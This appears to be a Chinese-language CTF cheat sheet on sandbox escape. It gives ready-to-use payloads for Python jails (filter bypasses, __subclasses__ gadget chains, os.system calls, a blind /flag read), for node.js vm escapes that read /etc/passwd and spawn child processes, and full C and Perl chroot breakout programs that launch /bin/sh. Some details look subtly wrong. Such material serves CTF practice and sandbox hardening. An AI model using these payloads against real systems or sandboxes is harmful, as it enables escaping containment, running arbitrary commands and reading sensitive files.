沙盒逃逸

沙盒逃逸 / 沙箱逃逸

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。

Python

  • 模块

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #os
    import os
    os.system('dir')
    os.popen('dir').read()

    #platform
    import platform
    platform.popen('dir').read()
    platform.os.system('dir')

    #timeit
    import timeit
    timeit.timeit("__import__('os').system('dir')")
  • import

    1
    2
    __import__('os')
    __builtins__.__dict__['__import__']
  • 重载模块 / 重新引入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #得到完整__builtin__模块
    reload(__builtin__)

    import imp
    imp.reload(__builtin__)

    #重新引入os
    import sys
    sys.modules['os']='/usr/lib/python2.7/os.py'

    execfile('/usr/lib/python2.7/os.py')
  • 函数调用 / 命令执行

    1
    2
    3
    4
    5
    6
    7
    #属性/字典
    getattr(__import__('os'),'system')('dir')
    __import__('os').__getattribute__('system')('dir')
    __import__('os').__dict__.__getitem__('system')('dir')

    #object类 - warnings.WarningMessage类
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')
  • 文件读取

    1
    2
    3
    4
    #object类
    ().__class__.__base__.__subclasses__()[40]("1.txt").read()
    ().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
    "".__class__.__mro__[-1].__subclasses__()[40]("1.txt").read()
  • 关键字过滤

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    'sys'+'tem' => 'system'
    'X19pbXBvcnRfXw=='.decode('base64') => '__import__'
    ''.join(['__imp','ort__']) => '__import__'
    '__tropmi__'[::-1] => '__import__'
    '__imp'+'ort__' => '__import__'
    '__buihf9ns__'.replace('hf9','ldi') => '__buildins__'
    dir()[0] => '_'

    import codecs
    getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')

    #过滤eval
    exec("import os;os.system('curl xxx')")

    #过滤数字
    0=False
    1=True
    2=True+True=True-(-True)
    3=True+True+True=True-(-True)-(-True)

    #过滤request
    #字符串request:
    list(globals().keys())[11]
    #request值:
    globals()[list(globals().keys())[11]]

    #del模块
    #盲注
    time.sleep(3) if open('/flag').read()[0]=='c' else 1

node.js

  • 前端

    在前端中,可能会使用删除 eval ,重写 Function.prototype.constructor / GeneratorFunction / AsyncFunction 等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。

  • 服务端

    JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。

    在原生的沙箱模块中,常用的逃逸方式为:

    1
    2
    3
    4
    5
    6
    7
    8
    const sandbox = {};
    const whatIsThis = vm.runInNewContext(`
    const ForeignObject = this.constructor;
    const ForeignFunction = ForeignObject.constructor;
    const process = ForeignFunction("return process")();
    const require = process.mainModule.require;
    require("fs");
    `, sandbox);

    一般来说,在Context下运行的代码应该只属于该隔离环境。然而,this是一个特别的,this指向runInContext(line, context)这一句里的context变量,它属于沙盒外,实际上,它是一个{}

    1
    2
    3
    4
    5
    6
    7
    8
     //列目录
    this.constructor.constructor('return this.process.binding')()('fs').readdir('/',function (err, data) {data})

    //读文件
    this.constructor.constructor("return process")().mainModule.require("fs").readFileSync("/etc/passwd").toString()

    const {spawnSync} = this.constructor.constructor("return process")().mainModule.require('child_process')
    spawnSync('cat /flag', [], {stdio: 'inherit'});

    考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:

    1
    2
    3
    4
    5
    vm.runInNewContext(
    'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())',
    {console:{log(){console.log.apply(console,arguments);}}},
    {timeout:5}
    );

chroot

chroot逃逸的核心是使进程中存在一个文件,处于根目录树之外

参考:I’M IN CHROOT JAIL, GET ME OUT OF HERE!

  • mount

    1
    2
    3
    4
    mount /dev/sda1 /tmp
    cd /tmp
    cd /tmp/bin
    ./cat /tmp/etc/passwd
  • /proc

    1
    2
    ls /proc/*/root
    cd /proc/[PID]/root
  • 清空env

    查看env可以发现,有个奇怪的变量:LD_PRELOAD=libfakechroot.so,它是一个用于在用户权限下更改root目录的工具。

    只要把这个环境变量给删掉:env LD_PRELOAD=/bash,就在真正的root中了。

  • 可执行程序

    1
    2
    3
    cat << EOF > getmeoutofhere.c
    [内容]
    EOF
    • C

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      // Shortened version of this:
      // http://www.bpfh.net/simes/computing/chroot-break.html
      #include <stdio.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <string.h>
      #include <unistd.h>
      #include <sys/stat.h>
      #include <sys/types.h>

      int main() {
      int x; /* Used to move up a directory tree */
      int dir_fd; /* File descriptor to directory */
      mkdir("chroot-breakout-dir", 0755);
      dir_fd=open(".", O_RDONLY);
      chroot("chroot-breakout-dir");
      fchdir(dir_fd);
      close(dir_fd);
      for(x = 0; x < 1024; x++) {
      chdir("..");
      }
      chroot(".");
      system("/bin/sh");
      }
    • Perl

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      #!/usr/bin/perl -w
      use strict;
      # unchroot.pl Dec 2007
      # http://pentestmonkey.net/blog/chroot-breakout-perl

      # This script may be used for legal purposes only.

      # Go to the root of the jail
      chdir "/";

      # Open filehandle to root of jail
      opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";

      # Create a subdir, move into it
      mkdir "mysubdir";
      chdir "mysubdir";

      # Lock ourselves in a new jail
      chroot ".";

      # Use our filehandle to get back to the root of the old jail
      chdir(*JAILROOT);

      # Get to the real root
      while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
      chdir "..";
      }

      # Lock ourselves in real root - so we're not really in a jail at all now
      chroot ".";

      # Start an un-jailed shell
      system("/bin/sh");